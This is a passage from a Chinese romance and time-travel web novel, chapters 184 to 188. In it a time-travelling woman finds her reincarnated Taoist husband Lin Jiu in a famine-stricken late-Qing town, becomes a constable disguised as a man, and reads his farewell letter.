林九张张合合嘴巴,只说了三个字,便断了气息。 他说:“我等你。” 卿卿,每生每世,我都会准备好,等你来找我的。 …… 与师父一同抓完鬼的阿海漫步在街头。 突然,林九脚步一拐,走向一间店面。 “诶,师父,你干嘛去?”阿海问。 林九背着手回头,“你先回去,我剪个头发。” 第184章 他的习惯 阿海也是服了。 他这个师父,一个礼拜剪一次头,但凡头发长长一厘米,他都受不了,跟强迫症似的。 “那师父我先走了哦!” 林九低低嗯了一声,一撩下摆,坐到了镜子前面。 “阿九早啊,还是老样子吗?” 这家理发店的方师傅快六十岁了,比林九整整大了两轮。 林九这颗头,三十五年来,都是他剪的。 这小子,从小就不爱留长发。 他还记得这小子第一次来,还穿着开裆裤,被一老道士抱着,竟还板着一张小肉脸跟他说: “叔叔,麻烦给我剃得短短的,前面后面都要!” 现在的林九,小肉脸变成了小方脸。 黑头发也掺上了一点白,脸上那副表情,却是三十年如一日的严肃。 正剪着呢,方师傅的老婆走了出来,给林九递了一杯水。 林九手都没伸,甚至上半身还朝旁边去了去,“放桌上就好,我等会再喝。” 方师傅挥挥手,叫他老婆走开点,然后把林九的头掰回来,“别乱动啊,我说你啊,你这怕女人的毛病什么时候能好,这还怎么讨媳妇儿嘛。” 整个镇子上的人都知道,闹市里有座道观,道观里住着一位林道长。 这林道长除了脸臭一点,还有这女人不能近身的毛病,那一手高深的道术,可是这十里八乡数一数二的。 林九朝他无所谓的笑了笑,“不能好也没事,林某志不在此,不打紧的,您赶紧剪吧,我还有事。” …… 此时,被制住脑袋的林九和忙着的方师傅没有看到,街上正走过去一个左看右瞧的白衣女子,和一个捕快。 静之乍一来到这个时代,感觉整颗心都空落落的,又带着一股子期待。 因为她知道,前方一定有一个阿九等着她。 这回她降落的地点,是一个小巷口。 没什么危险,至少对她是这样的。 但对偷了东西的小贼来说,可能就不是那么妙了。 他亲眼所见,空荡荡的巷子出现了一个洞,洞里仿佛扭曲了时空,发着浅浅的光晕。 然后吐出来一个白发女人。 当下,他立马吓得两眼一翻,晕倒在地。 静之刚揪住他的领子,想问问是什么年代来着,就看到他身后急追而来一胖一瘦两个捕快。 “多谢姑娘仗义相助!这贼人是个惯犯,请把他交给我们。” 静之上下打量了一下这两人的装束,然后把小贼拎起往他俩跟前一递,“哦,给你!” 胖捕快叫大何,他看着静之单手拎着个大男人,一点都不费力的样子,不禁啧舌。 就算是他,要把一个成年男子单手举离地面,怎么也会龇牙咧嘴的吧。 他拿出绳索,和瘦捕快小江,将这贼子绑好,然后试探性问一句: “姑娘不是本地人吧?” 静之愣住了,她不仅不是本地的,还是这时空的黑户,怎么一来就被查户口啊,这可咋整? 正当她绞尽脑汁,想硬掰个借口的时候,那胖捕快已经自我脑补完成。 他跟小江日日在这儿巡逻,本地人他看个背影,就能知道他是什么人。 这人长得是那种让人过目不忘的漂亮,他一定没见过。 结合最近北方闹旱灾,百姓流离失所,不少人举家南迁。 以及她这一身把自己裹得严严实实的装束,大何几乎可以断定,她就是那批南迁的人之一。 “姑娘可有路引?”大何问。 静之又懵上了,啥玩意儿,你说啥? “有……还是没有……呢?” 看她一副难以启齿的样子,小江也脑补上了。 这么漂亮,该不会是南逃的路上,行李被抢了吧? 这几日,倒是有见过好几起这种事件。 “户籍呢?”小江问。 静之瀑布汗,“那什么……” 小江:得,肯定连户籍本一起被抢了。 “没有也没关系,我们正要回衙门,你跟我们一起回去补办一个就行,不过,在我们这儿补办,你户籍就要落到我们这里了哦。” “啊?”静之捏着手有些为难,“可是我是来找人的,不能一直待在这里。” 大何了然一笑,“寻亲的是吧?我懂我懂。不过你没路引没户籍,到其他地方,也会被卡住的,倒不如先办一个,过后如果想要迁户,你再来衙门走一趟就成。” 静之应得痛快:“行!” 来都来了,她管户口在哪儿呢。 按照蔗姑说的,如果没有爱情,首先要先有经济实力,保证自我生存实力。 小江拖着小贼回衙门了。 静之跟在大何后头走出巷子,左右观看,打量着这个时代的穿着打扮,和风土人情。 本来想着要找点活计做,哪知刚看了一会儿,她眉头就越皱越紧。 话说,这个年代,怎么好像比阿九那个年代还保守的样子? 路上一点西洋化的元素皆无,路上缠着金钱鼠尾辫的人,跟剪着短发的人并存。 这倒是有些像早于民国的晚清时期。 至于她为什么这么确定,因为有人居然在大庭广众之下,蹲在墙角抽着大烟。 那人形容枯槁,眼眶深陷,却双眼迷离,嘴角高高扬起,仿佛陷入了一场癫狂绝美的梦境。 大何顺着她的眼神看过去,忍不住叹了一声,说: “唉,别看了,这种人到处都是,你离他们远一点,他们吸上头了,都是疯子一个。” 静之一脸凝重的点点头,“好。” 大何见她又四处打量,于是问她: “你要找谁,等会我们回去翻一下户籍本,帮你找找。” 静之大喜过望:“林九!我找林九!他有可能叫林正英,你回去帮我找找!” 大何止住脚步,回过头来,“林九?你找九叔?” 静之强按住激动的心,咽了口唾沫说:“我不知道是不是他,我得看过本人才知道。” 大何笑着指了指左前方的道观,“我们镇上叫林九的有好几个,当然最出名的,就是这道观里的九叔,要不,你先去看看再说?” “好好好。”真是得来全不费工夫,静之赶紧答应。 …… “叩叩叩。” 激动的心,颤抖的手。 静之捏着手指,叩响了道观的大门。 阿海打开一扇门,被她的美貌闪了一下,好一会儿,才转头问那个熟面孔: “呦,大何哥,今天怎么有空来?这人……谁啊?” 大何摸着脑袋笑着说: “她说要找九叔,我带她过来看看。” “我师父?!” 阿海有些难以置信,他师父可是完完全全没一点女人缘的顽固中年男子,怎么会突然有这么漂亮的姑娘找上门来? “我师父还没回来呢,你懂的,一个礼拜一次嘛。” 阿海数了数日子,恍然大悟道: “是哦,那我们下次下来。” 大何带着一头雾水的静之默默的又往外走。 静之:“那个,什么一礼拜一次啊?” 大何:“哦,那是九叔的习惯嘛,一个礼拜剪一次头发。” 静之突然眼眶一热。 她几乎能够确定,这个捕快手中的林九,就是她的阿九。 他跟她的约定,他还记得呢。 那他……还记得她吗? 第185章 耍鞭子 静之被大何带到衙门后,并没有被带去办户籍,反而被总捕头哐的一声锁进大牢。 看着一胖一瘦哥俩在外头,被总捕快——据说叫辉哥的人指着额头骂,静之有些无奈。 她就说嘛,哪有这么简单就能在这里定下来。 “你们两个长没长脑子,她要是别国的奸细怎么办?” “问都没问清楚就带回来,咱们衙门被人摸清路线了又怎么办?啊?说话啊!” 大何捏着手,小心翼翼抬眼瞅了辉哥一眼,小声说: “咱们衙门一眼就望到头了,还用得着人家来摸吗?穷得比九叔的道观都穷了。” 辉哥大眼一瞪,“你说什么?衙门每个月不是都给你发工钱了吗?两钱银子不是钱啊!” 大何被骂得头低低,却又忍不住撇嘴,“从一两,到五钱,再到现在的两钱,我全家都快吃不饱饭了,还说说说。” 辉哥被他说得面红耳赤,却又无力反驳。 他大何一个普通捕快被上头削减工资,他作为总捕头又何尝不是呢。 以前他每月有三两银子,现在就剩一两了,他找谁说理去,难道去找那些卖大烟的说理吗?? “你跟我说有什么用?有本事你朝那些卖大烟的洋鬼子吠去啊。” 辉哥无力的捶了下桌子,全身力气仿佛被抽走了似的,哐当一声,坐在长条板凳上。 他揉了揉眉心,压下满腹的无奈和郁郁不得志,还不得不耐着性子,跟这两个没长脑的下属解释说: “朝廷近年来打了败仗,割地就算了,还赔了大量白银出去,咱们衙门还能有这点儿银子来维持日常开支就已经很不错了。” “你们两个不是天天在外面巡逻吗?路边饿死的,病死的,被大烟害死的百姓有多少,我相信你们心里都有数。” 听着听着,小江皱着眉,有些不耐烦的抬起头说: “头儿,您跟我们分析大形势也没用啊,我倒是还好,孤家寡人一个,大何他一家四口,可都全靠着他那二钱银子活着呢,能不能……跟上面提一提,涨个一钱也好。” “哪有这么容易。”辉哥低声说着,他侧过身子,透过墙壁上那个小小的栅栏往外看,外面的天灰蒙蒙的一片。 昔日的大清帝国,变成现在洋鬼子嘴里的东亚病夫,偏偏他们的刀剑还拼不过人家的大炮。 辉哥又恨又无奈。 他不知道,这种看不见希望的日子要过到什么时候…… 牢房里锁着的,只有静之跟那个昏着的小偷,角落里还有几只干瘪的蟑螂尸体。 蟑螂都朝不保夕饿死了,他们哪里还能管其他人…… 牢里头的氛围,一时之间,陷入了死一般的沉默。 静之总算是听明白了。 她这次,来到了华夏的至暗时刻。 阿九,到底是自己选择来这里的? 还是没有办法,被投生到这里的? 静之进入朔源镜以前,是1993年。 虽然那时候的港区还未回归,但经济已经渐渐好起来了,甚至比内陆地区发展的还好。 整个社会欣欣向荣,而且禁毒力度,也是前所未有的大。 所以见到眼前这个阴郁寡欢的男人,她忍不住提一句,“一切都会好起来的,触底,总会有反弹的时候。” “你个姑娘家家的,你懂个……球!” 辉哥及时吞下那句粗话,皱着眉走到栅栏门前,粗着嗓子,带点恐吓的语气吓唬她: “老实交代,从哪儿来,到哪儿去,来衙门到底要干什么?” 静之见他不领情,居然还想恐吓她,她适时闭上嘴,不再讨论这个话题。 反正她不能说太多,她怕遭雷劈。 静之顺坡骑驴,侧头指了指他身后偷看的哥俩说: “我找林九,他们说领我来办一下户籍证,顺便帮我找林九。” “找九叔?”辉哥又问:“你见鬼了?找九叔干什么?” “我……”静之犹豫了一下,才说:“当然是找他有点私人的事儿。” 辉哥抱臂站在她跟前,“你不说清楚,我是不会放你出去的。” 小江站在辉哥的后面,欲言又止,“头儿……” 他从小第六感就很准。 他总觉得,他们仨加起来,都打不过面前这位姑娘。 辉哥转头,“你闭嘴。” 小江:啧,他这也算是劝过了吧? 等会头儿要是被打,他可就要先闪了哦。 “说不说?” 辉哥眼神四处寻觅,从墙上挂着的一排刑具上一一掠过。 然后拿起一根鞭子,嗦的一下,猛抽了一下地面。 许久未清扫的地上,瞬间扬起一股灰尘。 静之眼都不带眨的,直直站在那里,退都没退一步。 笑死,跟她玩鞭子? 不知道鞭子是她的本命武器吗? 她不仅不害怕,看到那根鞭子的时候,甚至觉得有些亲切和怀念。 她上前一步,朝辉哥伸出手,“大哥,鞭子借我玩会儿,等会还你。” 辉哥的尊严受到了挑衅,又是狠狠的一鞭,往她跟前抽下来。 大何和小江倒抽一口冷气。 这一鞭下去,不死也得留道疤啊,这姑娘,嘴咋这么硬呢? 都被关起来了,就不能说两句好听话吗? 三个人一个错眼,静之不仅没被打到,她一手不知什么时候,死死圈住了鞭尾。 大何和小江眼睁睁的看着那条鞭子越崩越直,然后他们头儿的肱二头肌瞬间鼓起。 没一分钟,头儿额头的青筋也浮起来了,脸都憋红了,那高高瘦瘦的姑娘却依旧跟个没事人似的,还有空朝他俩笑了一下。 就在这时,辉哥实在没了力气,身子一个踉跄,直接被静之扯得撞在牢门的木桩上。 “大哥,我真不是坏人……嗯,你们衙门缺不缺人手啊,我可以来应征吗?” 辉哥右手用力扯了一下鞭子,却发现她早已松开力道,他太大力,扽得自己后退了一步。 顿觉丢脸的他,咬着牙说: “你想多了,衙门不会要个女人当捕快的。” 更何况是个来历不明,身手不凡的女人。 静之把着牢门,乌溜溜的大眼睛咕噜一转,顿时计上心头。 “我可以女扮男装啊,反正你们三个都不说,又有谁知道呢。” 辉哥:“不可能,想都别想。” 小江:“姑娘,我知道现在世道艰难,但是捕快也不是什么好活计,你……” 小江说到一半,竟觉得这姑娘当捕快还挺合适的。 大何也来劝,“大人不是说最近流民很多,要多招点人手吗?我看她挺好的。” 辉哥死活不答应,“不用再说了,她不——” 话还没说完,静之一手掰下一根有他胳膊粗的栅栏,挥得呼呼作响,有模有样。 “我不什么啊?” 辉哥默默咽了口唾沫,头往后仰,避过她都快舞到他脸上的棒子: “……我看挺合适,就,就这样吧。” 识时务者为俊杰。 毕竟,他的胳膊可没有这木棍子硬。 第186章 林九的信 “喂,你们衙役的工作服都这么新的吗?” 静之领着那套黑灰色的服装,没看到磨损的痕迹,只能闻到衣服放久了,产生的那种霉味。 小江递过去一把佩刀,一个写着衙的令牌,连同她的路引与户籍证明。 “我叫小江,他叫大何。” 自我介绍完以后,小江叹了口气接着说:“那是六子的,之前说要来当捕快,后来人家自己做生意去了。我说这位……” 静之:“叫我静之就好。” 小江停了一下,才苦口婆心的劝她: “哦,静之啊,我知道你身手好,但是现在捕快真不是什么好差事,上不贤,下不勇,我们夹在中间,其实很难做的。” 静之拿起刀,"唰"的一声打开,又点点头合上,有些无所谓的说: “难不难做,做了才知道嘛。” 见她好似铁了心要当个捕快,小江也没什么好说的,于是引她到衙门侧边的一间厢房。 里头好像很久没住人了,到处都是蛛丝和灰尘。 静之甚至可以看到墙角处有只老鼠窜过去了。 靠墙的右侧,有个超长的大通铺。 靠墙的左侧,是好几个柜子并排放在一起。 房间正中间,是四张长桌并在一起,配套的椅子倒是放得东倒西歪的。 房间外头看起来很气派,里头却败絮其中,跟如今的朝廷一样。 小江走过去,把被踢倒在地上的椅子扶起,光这一下,他的手心就沾上了厚厚的灰尘,他有些不好意思的说: “以前我们都住这儿,后来大家都成家立业了,就从这儿搬出去了,你没地方住的话,这里收拾一下,暂时还是能住人的。” 静之环着胸转头看向他,“你不是单身吗?” “……是。”小江突然脸红。 他偷偷瞄了一眼缓缓走进来的静之。 只见她衣袂飘飘,容貌姝丽。 只瞄这一眼,小江心里的退堂鼓就打得震天响。 【她应该配个世家公子】——这是他的第一想法。 小江摸着后脑勺又一想,那些世家公子如今大烟不离手,走两步都喘得不行,还是算了。 正当他在心里给静之拉郎配的时候,静之已经打量完整间屋子。 她走到一处碎瓦片聚集的地方,然后朝上一指,“有完整的瓦片吗?这里补齐了就能住人。” 小江幡然回神,赶紧回答: “有,在后院,我去给你拿。” …… 大何交接班以后,就回家去了,小江倒是没什么事儿,他留下来帮静之修补好屋顶,又大概帮她清扫了一下蛛丝,就称有事要回去了。 毕竟天色已晚,没有任何关系的男女在这个时候,还共处一室的话,只会被人诟病。 辉哥可能觉得丢了面子,从牢里出来后,说一下静之的排班情况,就走得没影儿了。 她也无所谓,一个人正好,她还能修炼修炼。 随着她指尖轻轻一挥,原本还覆盖着厚厚灰尘的家具和床铺,瞬间洁净如新。 床头那几件仿佛都能洗出油垢的发黑棉被,被她用配刀一一挑到了院子里。 现在这个房子可以说是家徒四壁,也不为过了。 静之拉了块椅子坐下,把头上的首饰一一拿下来,然后把随身携带的荷包也掏了出来。 两根玉簪,都是林九做的,上头都被他刻了隐藏气息的阵法,她不舍得当,也不能当。 一对珍珠耳坠,是她和林九一起去海边摸蚌,自己开蚌,他帮她做的,更舍不得当。 静之把主意打到那个荷包上。 她打开绳结,把里头的东西都翻了出来。 除了几个银元,剩下的,全是林九的东西。 林九用的格子纹手帕。 刻着“林凤娇”的私人小型印章。 一个圆形怀表。 啪的一下,她摁开怀表,表盖一侧,放着她和林九头靠着头的黑白照片。 静之的食指轻触那个正微笑着的林九,还有他黑黑的耳朵。 她忍不住笑了。 这是他第一次跟她的合照呢,记得那次,他整个人直发僵,耳朵也红了一整天。 这张照片,若是彩色的,她便能看到他的红耳朵了吧。 想到这儿,她轻轻打开那张叠成四方形的手帕。 展开后,放在帕子正中间的,正是一小撮用红绳绑着的白色头发。 有他的,也有她的。 白头偕老,她做到了。 哪有女子不爱俏,他七十岁时,林九心疼她为了他,故意把自己变成个满脸皱纹的老婆子。 而她,何尝不想完成他白头到老的夙愿呢。 静之捧着脸,拿起那束银丝放到油灯旁细看。 “阿九,分别不过一日,我又开始想你了。” “蔗姑说,感情到了最后,只会剩下柴米油盐,可是,我这怦怦跳的心脏,又算是怎么回事?” …… 她把头发置于手心,轻轻捂到心脏处。 仿佛在拥抱他一般,静静的感受了一会儿,这才用帕子细细包好,又塞进荷包里。 突然,她觉得这荷包靠里一面,好像有些过分的厚实。 她撑开荷包口,透过灯光细瞧,荷包夹层里不甚透亮,好像夹着什么东西。 话说,这荷包,还是林九做的呢。 没什么花样,淡黄色,右下角绣了个【静】字。 静之一下又舍不得拆了。 拆了的话,她复原不了怎么办? 可是里头好像夹了张纸,阿九要是有什么遗言要给她交代怎么办? 静之捏着荷包看了许久,等到外头敲起二更更响,她才终于决定,拆! 她拿了簪子,用尖尖一头,小心挑起缝得细密的针脚,一点一点的把夹层打开。 然后小心翼翼的把里头叠成小方块的纸张拿出来。 还未展开,就看到小方块一面儿,写着四个小字: 【吾妻亲启】 静之的眼眶一下就湿润了。 “老是暗戳戳搞一些小动作,就不能大大方方跟我说吗?” 她仰起头,防止滴落的泪水晕到纸上,深呼吸了几口气,才缓缓打开那张纸。 刚一打开,一个更小的方块纸落到了空中,眼瞅着就要掉到地上,她赶紧伸手一捞。 “平时话这么少,到写信的时候,你就话多了是不是,还写两张,你不是知道我不爱看书的吗?” 静之哑着嗓子,对着小方块儿吐槽完,这才把视线挪回展开的信纸上。 信的内容如下: 【卿卿: 林九此生有悔。 在未明白自己心意之前,让你哭了一次又一次。 我想说的是,在我还未醒悟前,多谢你愿意一次又一次原谅我的过错,一直待在我身边。 我大概能够猜到,你估计又要去寻我的后世了。 若是他欺你,九希望你能够【原谅(被划掉)】早点打醒他。 若是他真的做了对不起你的事,九希望你能够 ·【一个大墨点】离开(有点潦草)他。 我不想再看到你为我伤心难过了,就算是我自己也不行。 我知道你厌烦无聊之书,另外一张,请别丢掉,那是九一生的积蓄证明,我存到了最大的钱庄【元通钱庄】里。 无论哪个时代,只要那个钱庄不倒闭,你拿着这张证明,就可取出使用。 这是九,最后能为你做的最后一点事儿了。 另外。 我大致也能够猜到,你不让我说那话的原因。 你会消失的,对不对? 若是有一天,你发现了这封信,那九·(一个大大墨点)就圆满了。 卿卿,我想在这里,对你说完这最后一遍,可好? 卿卿。(皱巴巴的几点水渍痕迹) 我爱你。 夫:林凤娇】 看完这封信,静之整个嚎啕大哭,嘴都哭成四方形了,还不忘骂骂咧咧道: “林九,你好样的,我还以为,咱们努力了这么久,临了怎么就成穷鬼了呢?原来你把钱都抠在这儿了,呜呜呜!” “呜呜呜,难怪你前一段时间死活不肯吃那百年老参,你是不是把它卖了,一起存进去了?你个大傻子!” “呜呜呜,你个臭老头,在信里写我爱你有什么用,你个心机男,最后三个字不说【我爱你】,就说【我等你】,你就是想让我找你是不是?” “我才不会找你,你就等着去吧!” …… 事实证明,这夫妻俩,一个比一个嘴硬。 天还没亮,静之就换上了那身捕快服装,一头白发用他送的玉簪束得高高的。 然后直奔道观门口。 第187章 与他初见 近乡情怯。 更何况,上辈子他俩相遇的那一幕,实在算不上友好。 她抬头看了看将亮未亮,灰蒙蒙的天空,犹豫了好几分钟,抠掉了人家门上好大一块儿褐色油漆皮,才放下要叩门的手。 算了,上辈子他最爱面子了,这辈子保不齐又是这样,她还是先去准备一个见面礼好了。 静之垂着头,刚要转过身,身后一阵急促的脚步声就传入她耳朵。 “借过借过!小伙子不进去的话别挡着门!” 她刚一回头,就看到一位发丝凌乱的妇人撞开她的肩头,急切的叩响门上的狮子头拉手。 “九叔,九叔救命啊,九叔在不在?” 她边喊着,还抽空跟静之露出个抱歉的眼神,“对不起,这位……额,差爷,我实在是有急事。” 静之颔首,后撤了一步把门口的位置让给她,“没事,你先请。” 妇人感激又有些惧怕的看了她一眼,见没人来开门,又攥起拳头捶着门板,“九叔!九叔在不在啊?” 里头突然传来两个截然不同声音。 一困顿,一沉稳。 静之可以听出这个困顿的声音,是白天那个小哥的声音。 “谁啊,天还没亮呢。” “阿海,开门吧。”这一低沉的声音,宛如一把小锤,轻轻捶了一下静之的胸口。 她摁住突然加速到有些心慌的心脏,侧着头,从打开了一条小缝的门外往内看。 声音好熟悉啊,是他吗? 还没看清,那位妇人用力推开门板冲了进去,阿海被夹在门后发出一声痛呼。 “我去,赶着去投胎啊。” 妇人一进去就揪着林九的的中衣下摆扑通一声跪在他面前。 还没开始哭诉呢,林九衣服往回一抽,扶着石砖柱子就开始干呕。 阿海揉着胸以奇怪的眼神看了静之一眼,听到他师父的干呕声,赶紧跑过去给他拍背,然后对地上的妇人说: “原来是张家嫂子,纠缠你家的厉鬼我师父不是刚抓完吗?你怎么又来了?” 张嫂垂泪抽泣,看到林九被她碰了一下,就脸色惨白的样子,她也吓了一大跳。 这会儿吞吞吐吐半天,才指着林九问: “我……九叔还好吧?” 小海哎呀一声,摸了摸后脑勺,有些无奈的说: “没事儿,全镇子的人都知道我师父这女人不能近身的毛病,你离他远点就成……有什么问题你快说,别耽误了正事。” 张嫂哦哦两声,边赶紧讲清来意: “那个女鬼是被九叔收走了,但是今晚我和相公睡觉的时候,老是觉得有个小孩站在床头看着我们……” 在她说话的时候,确认了这位林九,就是自己想找的林九的静之,心里又喜又忧。 她默默捡起地上的炭块,给自己描了描眉。 她心里止不住的后悔,叫她给他说得那般严重,这下可完了。 阿九一碰女人就吐,那她……可得先好好隐藏住她的女儿身再说。 静之看着出来前,她特意裹过的平坦胸口,松了口气,又理了理本就高高围住脖子的衣领,然后压了压嗓子,靠着墙低低调试嗓音。 “林九……”清脆甜美的原声。 “林九……”磁性女中音。 “林九……”高冷女低音。 静之想了想,加了点空气进去。 “林九……”油腻轻佻男气泡音。 “咦惹……重来。” 正当她面壁站在人家门口时,里头的三人已经拿好行头出来。 林九看着正碎碎念的那个背影,不知为何,精神突然一阵恍惚。 “这位差爷,请问你……” 静之突然转过身来,细细的剑眉被她刚刚涂得粗上了几分,一张俏脸平添了几分英气。 林九:哦,是个新来的清俊差爷啊。 莫名的,他心头的恶心之意,都少了几分。 静之收一收直往林九脸上瞟的直白目光,发出有些男女莫辨的少年音: “你好,我叫林静之,刚来这里当差,想到你这儿上炷香,祈求一下仕途顺利。” “……” 林九一时无话,第一次这么突兀的盯着一个人看。 “师父?!” 阿海看着怔住了的林九,忍不住揪一下他的道袍袖子,当目光触及到林九脸上时,阿海大惊失色。 张嫂侧头看一眼林九,也被林九现在的样子震在原地,她不停转头看着面对而站的两人,“九叔,你没事儿吧?” 林九仿佛被她叫回了神,他又朝阿海旁边靠了一步,才淡然回答: “没事啊。” “阿……九叔,擦擦吧。”静之从怀里掏出林九之前用过的那个旧手帕,刚想递给他,里头一撮长短不一绑在一起的白发,突然从帕子里滑落。 林九没有接过手帕,反而下意识伸手一捞。 看清是什么东西时,他脑子里突然极快闪过几个画面。 坛子,白衣。 好像有个人哭了。 好像又笑了,笑得他的心,跟着暖洋洋的。 还有那宛如魔音贯耳,缠绕了他每晚梦境里,一声又一声的“阿九”。 话说……眼前这个人,他是不是见过,怎么这么脸熟? 静之垂下眸子,掩饰住她满眼的心疼之意,把帕子又朝他递了递。 “擦擦吧。” 林九把手中那撮头发递给她,浅笑着说: “谢谢这位林兄弟,不用了。” 阿海从随身的布包里掏出个八卦镜对准林九,“哪里不用,师父你自己看看,你不会自己哭了都不知道吧?” 阿海心里一阵惊涛骇浪,这人到底是谁? 他跟林九这么久,从来没见过他掉一滴眼泪。 就连师祖仙逝的时候,师父也是脸色暗沉了一段时间而已。 …… 林九看着那八卦镜中央,那一小圈镜面里面,眼眶湿润的自己,不禁一阵恍然。 这……他确实没有察觉到。 他今天,这是怎么了? 他摆正脸色,刚想拒绝,静之一把将帕子塞入他手中,笑着跟他说: “我洗得很干净的,你放心用吧。” “这位婶子不是很急吗?你们赶紧去吧,我进去上炷香就走。” 林九愣愣的看着手中的帕子,脑子里又不合时宜的想起一个被手帕包裹着的小茶壶。 什么东西? 他好像没有过那茶壶,怎么会突然浮现出那个画面? 张嫂见他站着不动,忍不住出言催促: “九叔啊……能不能……尽快,我相公一个人在家,你上回说他最近运势低,我怕他一个人出问题。” “……好,那个,谢谢小兄弟,等我洗完了还给你,你……” 静之朝他摆摆手,“我就住在你隔壁的隔壁。” “你留着也没关系。”她补充道。 那条,本来就是他的。 还是他自己暗戳戳的叠一条放在她身上,美其名曰【他带着她的帕子,她也必须带一条他的。】 林九拘谨的朝她颔首,“不合适,今日时间紧迫,洗干净后,林九必定上门归还,我先行一步了。” 果然还是那个老顽固。 而且怎么觉得他越活越回去了呢? 静之无奈的点点头,目送着林九一行人离开。 她转头推开门,进入了林九这个生活了三十几年的道观。 一进门,便看到左右两边摆着七八米的四座神像,而庭院正中间,是一个大型的铜香炉,里头直直的插着三根大型的香。 静之看着有些咂舌。 她昂起头,绕着香炉走了一圈,打量着那三根比她手腕还粗的香,才低低叭叭一句: “看来阿九这辈子经济状况还行嘛,这香,可不便宜。” 就在这时,一个胖子脚步轻盈的从门外跨了进来。 “是不便宜!三根五十纹,不过能点好几天就是啦。这位差爷,上香的话这边请。” 静之一回头,看清那人的长相时,她不禁瞪大了双眼,呢喃一句: “华宝叔?” 身材圆润,却步履轻盈,妥妥的就是二娣口中那“灵活的胖子”。 这张脸,不是华宝叔又是谁。 他摸着锅盖头笑了一下说: “我叫阿宝,今年27岁,你叫我叔是不是有些早了?” “抱歉抱歉。”静之回过神来,也朝他一拱手,“林静之,二十……八岁,衙门新来的捕快。” 静之心虚的转头从供案上摸起三炷香,放到蜡烛上引燃。 话说,她也就少说了二百多岁。 不打紧吧? 年轻的华宝叔,脾气应该没有那么暴躁吧? 阿宝上下打量一下静之的背影,挠着脸,皱眉小声嘀咕: “二十八,比我大?看着不像啊。” 静之动了动耳朵,心虚地越发厉害。 她上好香,走到庭院里,指向二楼垂下来的一排排彩色毽子说: “你们道观的装饰可真独特。” 阿宝摸着后脑勺一脸尬笑,“哈哈,都是我和小海没事的时候做的……你这就要走了?” 静之走到门口,又转头朝他微微一笑: “我就住在你们附近衙门的侧房里,等我下值了,再过来找你们喝茶啊。” 阿宝被她明朗的笑容闪了一下,跟着爽朗一笑: “好,随时欢迎。” …… 静之边走边想,阿九这辈子眼光倒是挺好的,这俩徒弟看上去挺靠谱的样子。 虽然只是打了个照面,她也能大概看出阿宝跟阿海的身手,这两人,可能跟秋生的功夫不分上下吧。 特别是阿宝,他的下盘,可比秋生稳多了。 第188章 动荡不安的年代 他果然乖乖剪头发了呢,而且刚刚见到她还哭了。 就算记不得她,他的潜意识里对她的感情应该还在吧。 静之环胸抱着佩刀,嘴角渐渐勾起。 昨天辉哥说,另外两个捕快主要负责巡西街,她和大何小江负责东街这块儿的秩序维护。 大到杀人放火,小到小偷小摸,他们都得管。 最近还有个特别的任务,每天早上到东街城门入口守两个时辰,以防流民和不明分子偷偷闯入。 静之朝城门口看去,门口右侧放着两口大锅,旁边站着好几个守着城墙的士兵,他们正搬着好几个麻袋,放在城墙一角,那个角落里还堆着几大摞的木材干枝。 “是哦,小江说这几天都要开城门施粥的。” 静之大步走了过去。 她心想,钱庄也没有这么早开门,等帮忙施完粥再去好了。 等到她走到街尾,她才发现城门内外完全是两个世界。 镇里的原住民这会儿都还安稳的躺在床上睡觉,街上一片寂静。 镇子外头却早已大排长龙,人太多了,显得有些闹闹哄哄的。 而且那些流民一个个瘦瘦巴巴的,奇怪的是,来排队的,大多数是女眷或者小孩。 静之走过去跟早已站在那儿的大何小江打了个招呼,又跟站在城墙对面的士兵点点头,这才侧过脸小声问大何: “怎么都是女眷跟小孩,男丁呢?打仗去了?” 大何一手把着刀柄,看向右侧城外那排出去老远的队伍,忍不住叹了口气说: “有这个原因,去年战败,归来的又有几何……不过,还有个重要的原因。” 静之看着那排在队伍中衣衫褴褛的孩子,忍不住目露几分心疼,她紧接着问道:“……什么原因?” 大何:“这年头,没有武力的妇孺孩子,又被称为两脚羊,你说什么原因。” 他望着远处成片的帐篷外,那一个个饿得眼露绿光的男子,忍不住紧了紧手中的刀柄,又叹了一句: “她们能走到这儿分一口粥喝,算是万幸了,静之……人性,是接受不了考验的。” 静之忍不住侧目,看着大何咬得紧紧的下颚骨,问: “吃人?你们不管管吗?” 大何呲笑一声,指向正烧火熬粥的伙头兵说: “朝廷这不是开始施粥了吗?我们的薪资连月下降,怎么管。” 大何抹把脸,苦笑了一下,“没法管。” 静之看着那几百号等着领粥的人,又侧头看了看新建起的灶台旁,那仅有的三袋粮食,眉头渐渐蹙起。 “这……怎么够吃?” 大何看了一眼那写着米的袋子,缓缓闭上眼睛不再说话。 他家人都快吃不饱了,他管不了。 小江面露不忍,也只是说一句: “多加些水,喝个水饱……”他看了眼渐渐亮起的天空,心怀期翼道: “或许,朝廷的赈灾粮下来,他们就有救了。” 静之眸底的亮光渐渐熄灭。 这段历史对华夏来说,太过惨烈。 尽管已经过了两百多年,静之仍清晰的记得,这场战争以后,又持续爆发了好几场大型战役。 倘若这是个开端,那么,他口中所谓的朝廷,恐怕也自身难保了。 静之仿佛能够看到,将来,她跟林九即将活在这个风雨飘摇的年代。 仿佛知道她内心所想,金童赶紧出言制止。 【金童:胳膊拧不过大腿,你管好自己就行,可千万别妄想做出改变历史的举动啊。】 【静之:改变了,又会怎么样?】 【金童:……破则后立,王朝本有兴衰,这是它的命运,反正你管好自己就行。】 【静之:那他们怎么办?】 【金童:战争苦的都是百姓,我只说这一次……林九死后,灵魂本应投身到下个和平世界的,来这方小世界,是他自己的选择。】 【静之:……为什么?我不明白。】 【金童:……他好像知道你要找什么,所谓乱世出英雄,世道越乱,他能做的事情越多,能攒的功德也越多。】 【静之:这跟我又有什么关系?】 【金童:你是不是傻,你跟他是道侣,他的功德攒多了,你也有份,你的气运也会随之上升,目标也就更容易达到了。】 【静之:那我宁愿自己攒,也不想他经历如此动荡的年代。】 【金童(摊手):来都来了,你说这个也没用。】 【静之:……好了,跪安吧,我不想听。】 【金童:……嘁。】 静默了一会儿,金童又补充一句: 【金童:这个世界比较特殊,一点灵气皆无,你节约着点你现有的灵气用啊,用一点可是少一点的,没地儿给你补充的。】 【静之:……滚啊!!!】 …… 灰色的炊烟飘了很久。 直到天色大亮,那稀得都能数清米粒的粥分完,静之才放下瓢羹,揉了揉酸痛的肩膀,结束早上的工作。 早上跟金童那一通对话,犹如一盘冷水,给她浇了个透心凉。 这可真是屋漏偏逢连夜雨。 那群流民分了粥,端着碗,护着粥,成群结队的往回走,谁都不敢落单,就怕那碗犹如清水的粥给人抢了。 静之看得又是一阵心酸。 